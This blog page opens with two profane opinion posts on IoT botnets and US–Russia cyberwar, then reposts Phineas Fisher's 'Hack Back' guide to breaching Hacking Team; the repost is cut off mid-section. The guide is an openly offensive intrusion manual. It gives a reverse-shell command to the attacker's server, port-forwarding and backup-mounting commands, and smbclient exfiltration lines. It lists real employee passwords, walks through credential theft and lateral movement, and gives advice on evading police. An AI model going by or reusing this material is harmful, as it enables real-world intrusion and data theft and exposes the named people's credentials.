Excellent reads

Lady liking anti matters that know how to read

Either IoT will be secure or the internet will be crippled forever

iotI neither like nor trust the National Security Agency (NSA). I believe them to be mainly engaged in economic spying for the corporate American empire. Glenn Greenwald has clearly proven that in his book No Place to Hide. At the NSA, profit and power come first and I have no fucking clue as to how high they prioritize national security. Having said that, the NSA should hack the Internet of (insecure) Things (IoT) to death. I know Homeland Security and the FBI are investigating where the DDoS of doomsday proportions is coming from and the commentariat is already screaming RUSSIA! But it is really no secret what is enabling this clusterfuck. It’s the Mirai botnet. If you buy a “smart camera” from the Chinese company Hangzhou XiongMai Technologies and do not change the default password, it will be part of a botnet five minutes after you connect it to the internet. We were promised a future where we would have flying cars but we’re living in a future where camera’s, light-bulbs, doorbells and fridges can get you in serious trouble because your home appliances are breaking the law.

IoT is a lot like Donald Trump. IoT promises the greatest things, the best things. It promises to boost the economy, to ensure safety and to generally make life better, easier and more convenient while in reality it will grab DNS servers by the pussy. And it will get away with it because every pundit says IoT is the next superstar. Every software powerhouse is pushing the promise of cyber salvation. Why? Because they want to farm our data. What better way to do that by actually letting Google, Apple, Amazon or Microsoft eavesdrop on you 24/7? Buying a “smart” thermostat for example means telling the vendor when you wake up, when you leave the house and when you go to bed. It used to be the case that when a product is free it actually means you are provided a service for free because you are the product. Now we are entering the stage where you buy a service while you keep on being the product. And because people want and are accustomed plug and play devices, the default setting is insecure as fuck at best and impossible to secure at worst. That is why we live in a world where paedophiles are able to talk dirty to your baby because you bought a so-called smart baby monitor.

Back in the days when Anonymous was still great (i.e before the Feds recruited snitches like Sabu), you actually needed skills to build a botnet to DDoS the shit out of something. Either that or you’d need to have a genuine cause of outrage that got people involved in the hive-mind where they would voluntarily donate their bandwidth to shut down the enemy website du jour. Back in those days PayPal was a legitimate target for banning donations to Wikileaks for example. Operation Payback was a legitimate cause in which thousands of people participated. So was Project PM set up by Barret Brown. Fuck, even defending the actual nazi Weev was legit because all he was accused of was exposing vulnerable as fuck implementations of software.

Nowadays building a botnet requires no skills whatsoever. None! The only things you need to be able to do are use Google and Shodan. All you have to know are these 60 stupid passwords and you can build yourself an ever growing botnet because people tend to be idiots that do not bother to secure their shit and that like to buy the latest insecure gadgets. No government is interested in banning any of these wholly insecure products that are supposed to protect you because all governments are highly into minority report-style policing. All because of the promises of Big Data. Think of it as broken windows policing but for the internet. The flying cars that we were promised never came and the freedom that internet was supposed to bring quickly developed into a panopticon. The irony of it all is that the insecure internet of things that spy on you are crippling the entire infrastructure of the internet. If the NSA is in any way interested in securing not only our safety but also the safety and the continuity of the internet, it has my blessing to hack the fuck out of all this IoT-crap.


Cyberwar? A 3AM-twitterrant

cyberwarFunny how this works. Any alleged Russian hacking is bad but the CIA hacking Russia is great. Russia and the USA have very little qualms with bombing hospitals. If I was in the business of cyberwar, hospitals would be my first target. Fortunately I am not in the business of doing any war because I have ethics and I’m a pacifist. But for the sake gauging the odds… Let’s have a little thought-experiment and let’s pretend I am OK with targetting hospitals.

The USA is currently experiencing an epidemic of hospitals being targetted by non-state hackers. Hospitals are paying ransomware assholes. Why are American hospitals victims of ransomware? Because they still are running on Windows XP. An OS from 2001. The lastest major update for Windows XP was service pack III which was released in 2008. Back then internet really was new in Russia. “In 2009, internet penetration had reached 35%” (Wikipedia.) So it’s pretty safe to say that Russia has no hospitals running XP.

Last month the Kremlin vowed to ditch all things Microsoft. That means we now have no idea WTF they are using.

The idea behind cyberwar and DDoS’ing are the same. It is meant to cripple infrastructure. A website or a hospital, it does not matter. In full fledged cyberwar, thats just the same difference.

On the one hand we have a nation state that is highly reliant on outdated software and on the other hand we have a nation that is not. Because Russia is late to the game it has the latest and greatest software. America? Ha! It is riddled with all kinds of obsolete crap. In the Netherlands we call this shit de wet van de remmende voorsprong. An advantage that you get so comfortable with that it slows you down.

If the USA really engages in active cyberwarfare, it will have hell to pay. It will have their hospitals disrupted, their banking disrupted. It will even have their goddamned traffic signs disrupted. (Which is what non-state hackers are already doing.)

And Russia? Russia will only shrug. They do not rely on internet connected voting machines. Their hospitals are not connected to internet. The country that hacked the world as Snowden proved insists that they will win an online arms-race. Which is bullshit. We have seen how stupid they are. John Podesta did not change his password when Wikileaks was publishing his emails. That is why John Podesta twitter account got “hacked” and his iPhone got wiped. Not because anyone did any hacking but because Wikileaks published his password. The worst part about the so-called cybersecurty at the DNC is that they instruct people not to read Wikileaks. They really believe that if you do not look at it, Wikileaks never happened. It was the same with collateral murder. If the USA had a sensible security policy (i.e find out what Wikileaks leaked) John Podesta’s twitter would not have been “hacked”.

But nooo! Stupid is as stupid does and that’s why we now have a high tech state threatening a low tech state with cyberwarfare. And the worst part is that the high tech state does not realize you can’t really harm a low tech state with cyberwar. If I do not have a router, you cannot hack me. That is the simple truth that America fails to grasp. To make a long story short, you cannot kick someone in the balls they do not have. Russia will be able to attack the USA with their own damn fridges that have gone rogue because the security of the internet of things (that should not be) is non-existent and there is not much the USA can do about it except unplug their shit.


Hack Back – a DIY Guide

hackback

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Blatantly stolen from https://ghostbin.com/paste/6kho7

Phineas Fisher explains how he pwned Hacked Team.

—-[ 1 – Introduction ]——————————————-

Note the change in language since the last issue [1]. The
English-speaking worlds already has books, talks, guides, and all
sorts of information about hacking. There are a lot of hackers in that
world who are better than I am, but disgracefully fritter away their
knowledge working as “defence” contractors, for intelligence agencies,
protecting banks and corporations and defending the established order.
Hacker culture in the EU originated as a counterculture, but all
that’s left of that origin is the aesthetic — everything else has
been assimilated. At least they get to wear a T-shirt, dye their hair
blue, use hacker handles, and feel like rebels while they work for the
system.

There was once a time when you had to break into an office building to
exfiltrate documents [2]. You used to need a gun to rob a bank. These
days you can do it all from bed with a laptop in your hands [3][4].
Like the CNT once said about the Gamma Group hack: “we should move
forward with these new forms of struggle” [5]. Hacking is a powerful
tool. Learn it and join the fight!

[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI
[3] http://www.aljazeera.com/news/2015/09/algerian-hacker-hero-hoodlum-15092108
3914167.html
[4] https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf
[5] http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque-informatico-a-
gamma-group

—-[ 2 – Hacking Team ]——————————————-

Hacking Team was a company that helped governments to hack and spy
on journalists, activists, the political opposition, and other threads
to their power [1][2][3][4][5][6][7][8][9][10][11] — as well as,
every now and then, criminals and terrorists [12]. Vincenzetti, the
CEO, liked to end his emails with the fascist slogan “boia chi molla”.
He was, more precisely, a “boia chi vende RCS”. All the while, he
claimed to have the technology to solve the “Tor problem” and the
“darknet problem” [13]. But since I’ve been able to maintain my
freedom, I have my doubts about how effective that technology is.

[1] http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/
[2] http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html
[3] http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/
[4] https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/
[5] https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/
[6] https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/
[7] http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/
[8] http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal
[9] https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/
[10] http://www.wired.com/2013/06/spy-tool-sold-to-governments/
[11] http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/
[12] http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html
[13] http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web

—-[ 3 – Be careful out there ]———————————–

Sadly, our world is upside-down. You get richer by doing bad things,
and get locked up for doing good things. Fortunately, thanks to the
hard work of people like those in the “Tor Project” [1], you can avoid
getting yourself locked up by following a few simple guidelines:

1) Encrypt your hard drive [2]

I assume that by the time the police come to impound your computer,
you’ve already made many mistakes, but an ounce of prevention is
worth a pound of cure.

2) Use a virtual machine and route all your traffic through Tor

This achieves two things. First, all of your connections are
anonymized through the Tor network. Second, keeping your personal
life and your anonymous life on different computers helps you avoid
mixing them up by accident.

You can protect yourself with Whonix [3], Tails [4], Qubes TorVM
[5], or something personalized [6]. You can find a detailed
comparison here [7].

3) (Optional) Don’t connect to the Tor network directly

Tor is not a panacea. It’s possible to correlate the times at which
your connected to Tor with the times during which your hacker
handle is active. There have also been attacks using the Tor exit
node [8]. You can connect to the network using other people’s wifi.
Wifislax [9] is a linux distro with many tools for procuring wifi.
Another option is to connect to a VPN or a bridge node [10] before
connecting to Tor, but this is less secure because it is possible
to correlate the hacker’s activity with the internet activity
coming from your house (this was used as evidence against Jeremy
Hammond, for example [11]).

The reality is that while Tor is not perfect, it works well enough.
When I was young and reckless, I did a lot of things without any
protection (I’m talking about hacking, here) apart from Tor, and
which the police were still incapable of investigating, and I never
had any problems.

[1] https://www.torproject.org/
[2] https://info.securityinabox.org/es/chapter-4
[3] https://www.whonix.org/
[4] https://tails.boum.org/
[5] https://www.qubes-os.org/doc/privacy/torvm/
[6] https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy
[7] https://www.whonix.org/wiki/Comparison_with_Others
[8] https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack/
[9] http://www.wifislax.com/
[10] https://www.torproject.org/docs/bridges.html.en
[11] http://www.documentcloud.org/documents/1342115-timeline-correlation-jeremy-hammond-and-anarchaos.html

—-[ 3.1 – Infrastructure ]—————————————

I don’t hack directly from the Tor exit nodes. They’re on blacklists,
go very slowly, and cannot receive reverse connections. Tor serves to
protect my anonymity while I connect to the infrastructure I use for
hacking, which consists of:

1) Domain names

to give directions to command and control (C&C), and for setting up
DNS tunnels for secure exfiltration.

2) Stable server

to serve as C&C servers for receiving reverse shells, as a place to
launch attacks from, and a place to stash the loot.

3) Hacked servers

these serve as pivots behind which I hide the IP addresses of
stables servers, and for when I want a quick connection without
a pivot — for portscanning, for example, or scanning the entire
internet, or downloading a database through sql injection, etc.

Obviously you have pay anonymously, with bitcoin, for exaple (if you
use it carefully).

—-[ 3.2 – Accountability ]—————————————-

In the news we often see attacks attributed to groups of governmental
hackers (‘APTs’), because they always use the same tools, leave the
same footprints, and even use the same infrastructure (domains,
emails, etc.). They’re negligent because they free to hack without any
legal consequences.

I didn’t want to make it too easy for the police to link what I did to
Hacking Team, with its hacks and handles, with my day-to-day work
as a blackhat hacker. So I used new servers and domains, registered
with new email accounts, and payed with new bitcoin. And I only used
tools which were either publically available, or which I had written
specifically for this attack, and I changed my style of doing things
so as to not leave my usual forensic footprint.

—-[ 4 – Gathering information ]———————————-

Though it might be tedious, this step is very important, since the
larger the attack surface, the easier it will be to find a weakness
in it, somewhere.

—-[ 4.1 – Technical Information ]——————————–

Some of the tools and techniques include:

1) Google

You can find a lot of unexpected things with a couple well-chosen
search queries. The identity of DPR, for example [1]. The bible on
how to use google for hacking is the book, “Google Hacking for
Penetration Testers” [2].

2) Enumeration of subdomains

A business’s main domain is usually supplied by a third party, and
you’re going to find a range of IP addresses belonging to
subdomains like mx.company.com, ns1.company.com, etc. And sometimes
there are things in ‘hidden’ subdomains that should not be exposed.
Tools useful for discovering domains are subdomains include fierce
[3], theHarvester [4], and recon-ng [5].

3) Whois queries and inverse queries

With an inverse query using a domain’s whois information or a
business’s IP range, you can find other domains and IP ranges
belonging to them. As far as I know, there’s no free way of making
inverse whois queries, except for a google ‘hack’:

“via della moscova 13” site:www.findip-address.com
“via della moscova 13” site:domaintools.com

4) Portscanning and fingerprinting

Apart from the other techniques, you can talk to the business’s
employees. I include it in this section because it isn’t an attack,
just a means of obtaining information. The business’s IDS might
generate an alert upon detecting a portscan, but you don’t have to
worry about that. The entire internet is scanning itself
constantly.

For scanning, nmap [6] is precise, and can fingerprint most of the
services it discovers. For businesses with large IP ranges, zmap
[7] or masscan [8] are fast. WhatWeb [9] and BlindElephant [10] can
fingerprint websites.

[1] http://www.nytimes.com/2015/12/27/business/dealbook/the-unsung-tax-agent-who-put-a-face-on-the-silk-road.html
[2] http://web.archive.org/web/20140610083726/http://www.soulblack.com.ar/repo/papers/hackeando_con_google.pdf
[3] http://ha.ckers.org/fierce/
[4] https://github.com/laramies/theHarvester
[5] https://bitbucket.org/LaNMaSteR53/recon-ng
[6] https://nmap.org/
[7] https://zmap.io/
[8] https://github.com/robertdavidgraham/masscan
[9] http://www.morningstarsecurity.com/research/whatweb
[10] http://blindelephant.sourceforge.net/

—-[ 4.2 – Social information ]————————————-

For social engineering, it’s very useful to gather information about
the employees, their roles, contract information, operating system,
nagivator, plugins, software, etc. Some resources include:

1) Google

Here’s the most useful tool, again.

2) theHarvester y recon-ng

I’ve mentioned these already in the last section, but they have
much more functionality. You can find a lot of information quickly
and automatically. It’s worth the trouble to read all the
documentation.

3) LinkedIn

You can find a lot of information about the employees here. The
businesses’ recruiters will be the ones most inclined to talk.

4) Data.com

Previously known as jigsaw. They have contact information for many
employees.

5) File metadata

You can find a lot of information about employees and their system
in the metadata of files that the business has published. Some
handy tools for finding files on a business’s website and
extracting metadata are metagoofil [1] and FOCA [2].

[1] https://github.com/laramies/metagoofil
[2] https://www.elevenpaths.com/es/labstools/foca-2/index.html

—-[ 5 – Entering the Network ]————————————-

There are various ways to make an entrance. Since the method used for
Hacking Team is less common and more trouble than is ordinarily
necessary, I’m going to talk a bit about more common methods, which I
recommend attempting first.

—-[ 5.1 – Social engineering ]————————————-

Social engineering, and specifically spear phishing, is responsible
for the majority of hacks these days. For an introduction in Spanish,
see [1]. For more information in English, see [2] (the third part,
“Targeted Attacks”). For entertaining anecdotes about social
engineering in the past, see [3]. I didn’t want to try spear phishing
against Hacking Team, since their business is in helping
governments spear phish their opposition. There was therefore a much
greater risk of Hacking Team recognizing and investigating said
attempts.

[1] http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html
[2] http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/
[3] http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf

—-[ 5.2 – Buying access ]——————————————

Thanks to the hardworking Russians and their exploit kits, traffic
trafickers, and bot farms, many businesses already have compromised
machines in their network. Almost all of the Fortune 500, with their
enormous networks, have a few bots on the inside. That said, Hacking
Team is a very small business, most of whose employees are experts in
information security, and so there was very little probability that
they had already been compromised.

—-[ 5.3 – Technical exploitation ]———————————

After the Gamma Group hack, I discovered a process for searching for
vulnerabilities [1]. Hacking Team has the public IP range:

inetnum: 93.62.139.32 – 93.62.139.47
descr: HT public subnet

Hacking Team had a small exposure to the internet. For example, unlike
the Gamma Group, their public-facing site required the client to have
a certificate in order to connect. It contained a main website (a
Joomla blog, for which Joomscan [2] revealed no serious
vulnerabilities), a mail server, a couple of routers, two VPN systems,
and a spam-filtering system. And so I had three options: to try to
find a 0day in Joomla, a 0day in postfix, or a 0day in one of the
embedded systems. A 0day in an embedded system seemed to me to be the
most tenable option, and after about two weeks of reverse engineering,
I discovered a remote root exploit. Since the vulnerabilities it
relies on haven’t yet been patched, I’m not going to give any more
details on it. For more information on how to search for this type of
vulnerability, see [3] and [4].

[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] http://sourceforge.net/projects/joomscan/
[3] http://www.devttys0.com/
[4] https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A

—-[ 6 – Be prepared ]———————————————-

I did a lot of work and testing before using the exploit against
Hacking Team. I wrote a firmware with a backdoor, and compiled various
post-exploitation tools for the embedded system. The backdoor served
to protect the exploit. Using the exploit just once and then returning
thorugh the back door made the work of discovering and patching
vulnerabilities more difficult.

The post-exploitation tools I had prepared were:

1) busybox

for all the common Unix utilities that the system didn’t have.

2) nmap

for scanning and fingerprinting Hacking Team’s internal network.

3) Responder.py

the most useful tool for attacking Windows when you have access to
the internal network but don’t have a user account.

4) Python

for executing Responder.py.

5) tcpdump

for sniffing traffic.

6) dsniff

for snooping passwords from vulnerable protocols like ftp, and for
arpspoofing. I’d rather have used ettercap, writen by Hacking
Team’s own ALoR and NaGA, but it was difficult to compile for the
system.

7) socat

for a handy pty shell:

my_server: socat file: `tty`, raw, echo=0, tcp-listen:mi_port
hacked_system: socat exec:’bash -li’,pty,stderr,setsid,sigint,\
sane tcp:my_server:my_port

And for many other things. It’s a network swiss army knife. See the
examples section of its documentation.

8) screen

like socat’s pty, not strictly necessary, but I wanted to feel at
home in Hacking Team’s network.

9) a SOCKS proxy server

to use together with proxychains for accessing the internal network
with this or that other programme.

10) tgcd

for forwarding ports, like those of the SOCKS server, through the
firewall.

[1] https://www.busybox.net/
[2] https://nmap.org/
[3] https://github.com/SpiderLabs/Responder
[4] https://github.com/bendmorris/static-python
[5] http://www.tcpdump.org/
[6] http://www.monkey.org/~dugsong/dsniff/
[7] http://www.dest-unreach.org/socat/
[8] https://www.gnu.org/software/screen/
[9] http://average-coder.blogspot.com/2011/09/simple-socks5-server-in-c.html
[10] http://tgcd.sourceforge.net/

The worst thing that could happen would be that my backdoor or
post-exploit tools would make the system unstable, and force an
employee to investigate. So I spent a week testing my exploit,
backdoor, and post-exploit tools in the networks of other vulnerable
businesses before entering Hacking Team network.

—-[ 7 – Watch and listen ]—————————————-

Now that I was inside the internal network, I wanted to take a look
around and think about my next step. Switching Responder.py to
analysis mode (-A, to listen without sending poisoned responses), and
performed a slow scan with nmap.

—-[ 8 – NoSQL databases ]—————————————–

NoSQL, or rather NoAuthentication, has been a great gift to the hacker
community [1]. Just when I was worrying that all MySQL’s sins of
omission had finally been patched [2][3][4][5], these new databases
appear, lacking authentication by design. Nmap found a few in Hacking
Team’s internal network:

27017/tcp open mongodb MongoDB 2.6.5
| mongodb-databases:
| ok = 1
| totalSizeMb = 47547
| totalSize = 49856643072

|_ version = 2.6.5

27017/tcp open mongodb MongoDB 2.6.5
| mongodb-databases:
| ok = 1
| totalSizeMb = 31987
| totalSize = 33540800512
| databases

|_ version = 2.6.5

These were databases for RCS test instances. The audio that RCS
captures is held in a MongoDB with GridFS. This is where the audio
folder in the torrent [6] came from. They had inadvertantly spied on
themselves.

[1] https://www.shodan.io/search?query=product%3Amongodb
[2] https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
[3] http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html
[4] http://downloads.securityfocus.com/vulnerabilities/exploits/hoagie_mysql.c
[5] http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html
[6] https://ht.transparencytoolkit.org/audio/

—-[ 9 – Crossed wires ]——————————————-

As fun as it was to listen to captures and watch webcam images of
Hacking Team developing its malware, it wasn’t very useful. Their
insecure security backups were the vulnerability that threw the doors
open. According to the documentation [1], their iSCSI systems should
have been on a separate network, but nmap count a few of them in their
192.168.1.200/24 subnet:

3260/tcp open iscsi?
| iscsi-info:
| Target: iqn.2000-01.com.synology:ht-synology.name
| Address: 192.168.200.66:3260,0
|_ Authentication: No authentication required

Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)

3260/tcp open iscsi?
| iscsi-info:
| Target: iqn.2000-01.com.synology:synology-backup.name
| Address: 10.0.1.72:3260,0
| Address: 192.168.200.72:3260,0
|_ Authentication: No authentication required

iSCSI requires a kernel module, and it would have been difficult to
compile it for the embedded system. I forwarded the port so that I
could mount it from a VPS:

VPS: tgcd -L -p 3260 -q 42838
Sistema embebida: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838

VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1

iSCSI now finds the name iqn.2000-01.com.synology, but has some
problems mounting it since it now believes that its address is both
192.168.200.72 and 127.0.0.1.

The to solve this is:

iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT –to-destination 127.0.0.1

and then:

iscsiadm -m node –targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 –login

…and the archive system appears! We mount it:

vmfs-fuse -o ro /dev/sdb1 /mnt/tmp

and find secure backups of various virtual machines. The Exchange
server seems like the most interesting. It’s too big to download, but
we can mount it remotely and search for interesting archives:

$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT

entonces el offset es 2048 * 512 = 1048576
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/

and now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14
172311 we find the hard drive of the virtual machine, and mount it:

vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1

…and, finally, we have gotten to the centre of the matryoshka doll
and we can see all of the archives of the old Exchange server on
/mnt/part1.

[1] https://ht.transparencytoolkit.org/FileServer/FileServer/Hackingteam/Infras
trutturaIT/Rete/infrastruttura%20ht.pdf

—-[10 – From secure backups to domain admin ]———————

What interested me most in the secure backup was trying to find a
password or hash that I could use to access the actual server. I used
pwdump, cachedump, and lsadump [1] with the registry backups. lsdadump
found a password for the besadmin service account:

_SC_BlackBerry MDS Connection Service
0000 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0010 62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00 b.e.s.3.2.6.7.8.
0020 21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00 !.!.!………..

I used proxychains [2] with the socks server in the embedded system
and smbclient [3] to check the password:

proxychains smbclient ‘//192.168.100.51/c$’ -U ‘hackingteam.local/besadmin%bes32678!!!’

It worked! The besadmin password was still valid, and was a local
admin. I used my proxy and metasploit’s psexec_psh [4] to gain a
meterpreter session. I migrated to a 64-bit process, “load kiwi [5],
and “creds_wdigest”, and by now had a number of passwords, including
the domain admin’s:

HACKINGTEAM BESAdmin bes32678!!!
HACKINGTEAM Administrator uu8dd8ndd12!
HACKINGTEAM c.pozzi P4ssword HACKINGTEAM m.romeo ioLK/(90
HACKINGTEAM l.guerra 4luc@=.=
HACKINGTEAM d.martinez W4tudul3sp
HACKINGTEAM g.russo GCBr0s0705!
HACKINGTEAM a.scarafile Cd4432996111
HACKINGTEAM r.viscardi Ht2015!
HACKINGTEAM a.mino A!e$$andra
HACKINGTEAM m.bettini Ettore&Bella0314
HACKINGTEAM m.luppi Blackou7
HACKINGTEAM s.gallucci 1S9i8m4o!
HACKINGTEAM d.milan set!dob66
HACKINGTEAM w.furlan Blu3.B3rry!
HACKINGTEAM d.romualdi Rd13136f@#
HACKINGTEAM l.invernizzi L0r3nz0123!
HACKINGTEAM e.ciceri 2O2571&2E
HACKINGTEAM e.rabe erab@4HT!

[1] https://github.com/Neohapsis/creddump7
[2] http://proxychains.sourceforge.net/
[3] https://www.samba.org/
[4] http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.pdf
[5] https://github.com/gentilkiwi/mimikatz

—-[ 11 – Downloading the mail ]———————————–

Now that I had the password to the domain’s admin, I had access to the
email, the hard of the business. Since every password I used raised
the risk of being detected, I download the emails before going on to
explore them. Powershell makes this easy [1]. Curiously, I found a bug
in the way that dates were handled. After obtaining the emails, I
waited a couple of weeks before getting the source code and all the
rest, returning once in a while to download new emails. The server was
Italian, with dates in the format day/month/year. I used:

-ContentFilter {(Received -ge ’05/06/2015′) -or (Sent -ge ’05/06/2015′)}

with New-MailboxExportRequest to download the new mails (in this case
all the mails from June 5th onward). The problem was that it said that
the date is invalid if the day is greater than 12 (imagine that this
is because the month is usually put first in the EU, and the month
can’t be greater than 12). It seems that the engineers at Microsoft
had only tested their software on their own regional configuration.

[1] http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-mailbox-export-features-for-mass-exports-to-pst/

—-[ 12 – Downloading archives ]———————————–

Now that I was the domain’s admin, I started downloading the shared
resources using my proxy and smbclient’s -Tc option. For example:

proxychains smbclient ‘//192.168.1.230/FAE DiskStation’ \
-U ‘HACKINGTEAM/Administrator%uu8dd8ndd12!’ -Tc FAE_DiskStation.tar ‘*’

This is where the Amministrazione, FAE DiskStation, and FileServer
folders in the torrent came from.

—-[ 13 – Introduction to hacking a Windows domain ]—————

I’d like to take a break from the story of these fuckers [weones
culiaos], to share a bit of knowledge about attacking Windows
networks.

—-[ 13.1 – Lateral movement ]————————————-

I’m going to give a quick review of the techniques used for spreading
out inside a Windows network. The techniques for remote execution
require a local administrator’s password or hash to work. Often, the
most common way of obtaining these credentials is to use mimikatz [1],
and above all sekurlsa::logonpasswords and sekurlsa::msv, from the
machines you already have administrative access to. The techniques for
moving around “in situ” also require administrative privileges (except
for runas). The most important tools for
privilege escalation are PowerUp [2], and bypassuac [3].

[1] https://adsecurity.org/?page_id=1821
[2] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
[3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1

Remote navigation:

1) psexec

The tried and tested way of navigating Windows networks. You can
use psexec [1], winexe [2], metasploit’s psexec_psh [3], powershell
empire’s invoke_psexec [4], or the Windows command “sc” [5]. For
the metasploit module, powershell empire, and pth-winexe [6], it’s
enough to know the hash without knowing the password. This is the
most universal way (it works on any computer with port 445 open),
but it is also the least cautious. Events of type 7045 “Service
Control Manager” will appear in the registry. In my experience,
this has never tipped anyone off during a hack, but it’s something
they might notice afterwards, and it might help the investigators
figure out what the hacker was doing.

2) WMI

The most cautious method. The WMI service is enabled on all Windows
computers, except for servers, where the firewall blocks it by
default. You can use wmiexec.py [7], pth-wmis [6] (you can find a
demo of wmiexec and pth-wmis here [8]), powershell empires’s
invoke_wmi, or the Windows command, wmic [5]. Aside from wmic, the
rest of these require only the hash.

3) PSRemoting [10]

This is disabled by default, and I don’t advise enabling new
protocols unless you have you. But if the sysadmin has already
enabled it, it’s very convenient, especially if you use powershell
for everything (and yes, you should use powershell for almost
everything; this may change [11] with powershell 5 and Windows 10,
but right now powershell makes it easy to do everything in RAM,
dodge the antivirus, and leave few footprints).

4) Programmed tasks

You can execute programmes remotely with at and schtasks [5]. They
work in the same situations as psexec, and likewise leave some
known footprints [12].

5) GPO

If all of those protocols are disabled or blocked by the firewall,
once you are the administrator of the domain, you can use GPO to
give it a logon script, install an msi, execute a programmed task
[13], or as we will see with computer of Mauro Romeo (Hacking
Team’s sysadmin), enable WMI and open the firewall through GPO.

[1] https://technet.microsoft.com/en-us/sysinternals/psexec.aspx
[2] https://sourceforge.net/projects/winexe/
[3] https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh
[4] http://www.powershellempire.com/?page_id=523
[5] http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-
cc/
[6] https://github.com/byt3bl33d3r/pth-toolkit
[7] https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
[8] https://www.trustedsec.com/june-2015/no_psexec_needed/
[9] http://www.powershellempire.com/?page_id=124
[10] http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/
[11] https://adsecurity.org/?p=2277
[12] https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems
[13] https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py

Navigation ‘in situ’:

1) Impersonating tokens

Once you have administrative access to a computer, you can use
other users’ tokens to access the domain’s resources. Two tools for
doing this are incognito [1] and the token::* commands in mimikatz
[2].

2) MS14-068

You can take advantage of a validation vulnerability in Kerberos to
generate a domain administrator ticket [3][4][5].

3) Pass the Hash

If you have your has but the user does not have an active session,
you can use sekurlsa:pth [2] to obtain a user ticket.

4) Process injection

Any RAT can be injected into another process — the migrate command
in meterpreter and pupy [6], for example, or psinject [7] in
powershell empire. You can inject the process that has the token
that you want.

5) runas

This sometimes turns out to be very useful because it doesn’t
require admin privileges. The command is part of Windows, but if
you dont’ have the graphical interface, you can use powershell
[8].

[1] https://www.indetectables.net/viewtopic.php?p=211165
[2] https://adsecurity.org/?page_id=1821
[3] https://github.com/bidord/pykek
[4] https://adsecurity.org/?p=676
[5] http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html
[6] https://github.com/n1nj4sec/pupy
[7] http://www.powershellempire.com/?page_id=273
[8] https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1

—-[ 13.2 – Persistence ]——————————————

Once you have gained access, you want to maintain it. Persistence is
really only a challenge for sons of bitches [hijos de puta] like the
ones in Hacking Team, who want to hack activists or other individuals.
When you’re hacking businesses, you don’t need persistence because the
business never sleeps. The only ‘persistence’ I use is in duqu 2’s
sense, executing in the RAM of a couple of servers with high rates of
uptime. In the hypothetical case that everything is reset at once, I
have passwords and a golden ticket [1] set aside. You can read more
information about persistence mechanisms for Windows here [2][3][4].
But for hacking businesses, you don’t need it, and it raises the risk
of detection.

[1] http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-t
icket-howto/
[2] http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-e
mpire/
[3] http://www.hexacorn.com/blog/category/autostart-persistence/
[4] https://blog.netspi.com/tag/persistence/

—-[ 13.3 – Internal reconnaissance ]——————————

The best tool these days for understanding Windows networks is
Powerview [1]. It’s worth the trouble to read everything by the author
